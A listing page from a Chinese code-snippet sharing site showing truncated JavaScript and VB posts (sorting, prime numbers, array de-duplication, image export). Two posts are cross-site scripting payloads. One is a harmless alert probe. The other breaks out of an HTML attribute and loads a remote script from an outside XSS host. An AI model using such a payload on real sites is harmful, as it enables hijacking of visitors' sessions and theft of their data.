首页    新闻    小组    威客    人才    下载    博客    代码贴    在线编程    论坛
代码贴随便看看JavaScript
var bus_station=["A","B","C","D","E"];

var arr_name_id=[];
var arr_name=[];
var arr_from_address=[];
var arr_from_time=[];

var arr_to_time=[];
var arr_to_address=[];

function up_bus(id,name,address,time){
arr_name_id.push(id);
......................
阅读全部 | qunxingw 贴于 2020年12月5日 21:58     hide bbsi
Option Explicit
Private Const WS_CHILD = &H40000000
Private Const WS_VISIBLE = &H10000000
Private Const LVS_REPORT = &H1
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Type LVCOLUMN
    Mask        As Long
    Fmt         As Long
    cX          As Long
    pszText     As String
......................
阅读全部 | LHY163311 贴于 2020年12月3日 19:02     hide bbsi
var a=[1,2,9,6,54,25];
/*a.splice(2,1);*/
alert(a);
m=a.length;
a_sort=[];
function  f_min(a){
  n=a.length;
  var min=a[0];
  for(i=0;  i<n;  i++){
    if(a[i]<=min){
      min=a[i];
      flag=i;
......................
阅读全部 | qunxingw 贴于 2020年12月3日 11:14     hide bbsi
<html>
<head>
<meta charset="utf-8">
<title>素數算法</title>
</head>
<body>
<p>素數算法</p>
<br>
<script > 

var arr=new Array();
var n=parseInt(prompt(" 請輸入要列出素數在多少整數范圍之內:", " "));
......................
阅读全部 | qunxingw 贴于 2020年11月26日 13:51     hide bbsi
<html>
<head>
<meta charset="utf-8">
<title>素數算法</title>
</head>
<body>
<p>素數算法</p>
<br>
<script src=prime.js> 

var arr=new Array();
var n=parseInt(prompt(" 請輸入要列出素數在多少整數范圍之內:", " "));
......................
阅读全部 | qunxingw 贴于 2020年11月22日 11:46     hide bbsi
<script>
    var chars=[];
    for (var r=48;r<=57;r++)
    {
      chars.push(String.fromCharCode(r));
    }
    for (var min=97;min<=122;min++)
    {
      chars.push(String.fromCharCode(min));
    }
    for (var max=65;max<=90;max++)
    {
......................
阅读全部 | JS小渣渣 贴于 2020年4月6日 11:48     hide bbsi
<img src="x" onerror=alert(1)>
阅读全部 | jzhoucdc 贴于 2020年3月27日 17:19     show bbsi
'"><sCRiPt sRC=//xsshs.cn/ByF0></sCrIpT>
阅读全部 | rarexe121 贴于 2020年3月23日 15:43     hide bbsi
//reduce数组去重
let arr = [1,2,3,4,5,2,3]
let res=arr.reduce((pre,cur)=>{
    if(!pre.includes(cur)){
        pre.push(cur)
    }
    return pre
},[])
console.log(res)
//reduce数组去重
let newArr = Array.from(new Set(arr));
console.log(newArr);
......................
阅读全部 | Wyl820108 贴于 2019年12月31日 15:09     hide bbsi
export const exportImg = function (imgsrc,name) { /* url图片地址,name图片名称 */
    // 不跨域
    // let alink = document.createElement('a');
    // alink.href = url;
    // alink.download = name || '图片下载'; //图片名
    // window.open(alink);
    let image = new Image();
    // 跨域,解决跨域 Canvas 污染问题
    image.setAttribute('crossOrigin', 'anonymous');
    image.onload = function() {
        let canvas = document.createElement('canvas');
        canvas.width = image.width;
......................
阅读全部 | xjjbczg 贴于 2019年11月21日 15:35     hide bbsi
上一页 1 2 3 4 5 6 7 8 下一页